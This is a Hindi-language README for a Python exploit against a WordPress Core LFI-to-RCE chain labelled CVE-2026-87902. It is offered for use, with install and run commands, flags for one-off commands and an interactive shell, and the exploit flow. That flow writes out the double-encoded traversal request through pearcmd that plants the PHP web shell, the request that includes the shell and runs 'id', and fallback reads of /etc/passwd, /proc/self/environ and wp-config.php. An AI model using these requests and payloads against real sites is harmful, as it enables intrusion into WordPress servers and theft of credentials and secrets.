CVE-2026-87902 के लिए Python exploit, जो एक WordPress Core LFI-to-RCE चेन है। यह वर्ज़न फिंगरप्रिंट करता है, pearcmd के माध्यम से PHP shell लिखता है, और command execution या LFI fallback प्रदान करता है।
⚠️ कानूनी चेतावनी उन सिस्टमों के विरुद्ध इसका उपयोग करना जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की आपके पास लिखित अनुमति नहीं है, अवैध है और साइबर अपराध कानूनों के अंतर्गत दंडनीय है। लेखक दुरुपयोग की कोई जिम्मेदारी नहीं लेता।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-87902 |
| प्रकार | लोकल फ़ाइल इन्क्लूज़न (LFI) → रिमोट कोड एक्ज़ीक्यूशन (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (गंभीर) |
| हमला वेक्टर | नेटवर्क (अनॉथेंटिकेटेड) |
| प्रभावित | WordPress 4.7.0 – 7.1.1 |
| पैच किया गया | WordPress 7.1.2 (और 4.7.37 तक बैकपोर्ट्स) |
| मूल कारण | get_page_template() pagename पैरामीटर को URL-डिकोड करने के बाद validate_file() को कॉल नहीं करता, जिससे डबल-एन्कोडेड ट्रैवर्सल (%252E%252E%252F) सैनिटाइज़ेशन को बायपास कर सकता है और थीम डायरेक्टरी के बाहर मनमानी .php फ़ाइलों को शामिल कर सकता है। |
पूर्ण RCE के लिए, निम्नलिखित सभी सत्य होने चाहिए:
page-* डायरेक्टरी हो (जैसे page-templates/)pearcmd.php मौजूद हो और वेब सर्वर उपयोगकर्ता द्वारा पठनीय हो (आधिकारिक PHP Docker इमेज और PHP < 8.5 वाले कई cPanel इंस्टॉल में डिफ़ॉल्ट)register_argc_argv=On हो (PHP < 8.5 में डिफ़ॉल्ट)यदि इनमें से कोई भी अनुपस्थित है, तो एक्सप्लॉइट केवल-LFI फ़ाइल पठन पर वापस चला जाएगा।
exploit.py # मुख्य एक्सप्लॉइट स्क्रिप्ट README.md # यह फ़ाइल report.json # (वैकल्पिक) -o उपयोग किए जाने पर आउटपुट रिपोर्ट
इंस्टॉल करें:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
यह करेगा:
· WordPress संस्करण और सक्रिय थीम का फ़िंगरप्रिंट · भेद्य संस्करण रेंज की जाँच · प्रकाशित पृष्ठ ID का पता लगाना (REST → sitemap → ब्रूट फ़ोर्स) · pearcmd.php के माध्यम से PHP शेल लिखने का प्रयास · शेल को शामिल करने और id निष्पादित करने का प्रयास · यदि RCE विफल हो, तो संवेदनशील फ़ाइलों पर LFI पर वापस जाएँ
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
शेल के अंदर:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 CLI संदर्भ
फ़्लैग लॉन्ग विवरण -t --target आवश्यक। लक्ष्य WordPress URL (बिना ट्रेलिंग स्लैश)। -c --command RCE के बाद एकल शेल कमांड निष्पादित करें। -i --interactive RCE के बाद इंटरैक्टिव शेल खोलें। -v --verbose विस्तृत प्रगति प्रिंट करें। -o --output अंतिम रिपोर्ट को दिए गए पथ पर JSON के रूप में सहेजें। -h --help सहायता दिखाएँ।
🔄 एक्सप्लॉइट प्रवाह
[1] फ़िंगरप्रिंट
├─ WordPress संस्करण (meta generator / asset ?ver=)
└─ सक्रिय थीम (/wp-content/themes/<name>/)
[2] संस्करण जाँच
└─ 4.7.0 – 7.1.1 ? जारी रखें : चेतावनी दें और जारी रखें
[3] पृष्ठ ID खोजें
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ ब्रूट फ़ोर्स: /?page_id=1..30
[4] page-* डायरेक्टरी जाँचें
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] pearcmd के माध्यम से शेल लिखें
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] शेल शामिल करें
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] फ़ॉलबैक LFI (यदि RCE विफल हो)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. वेरिएंट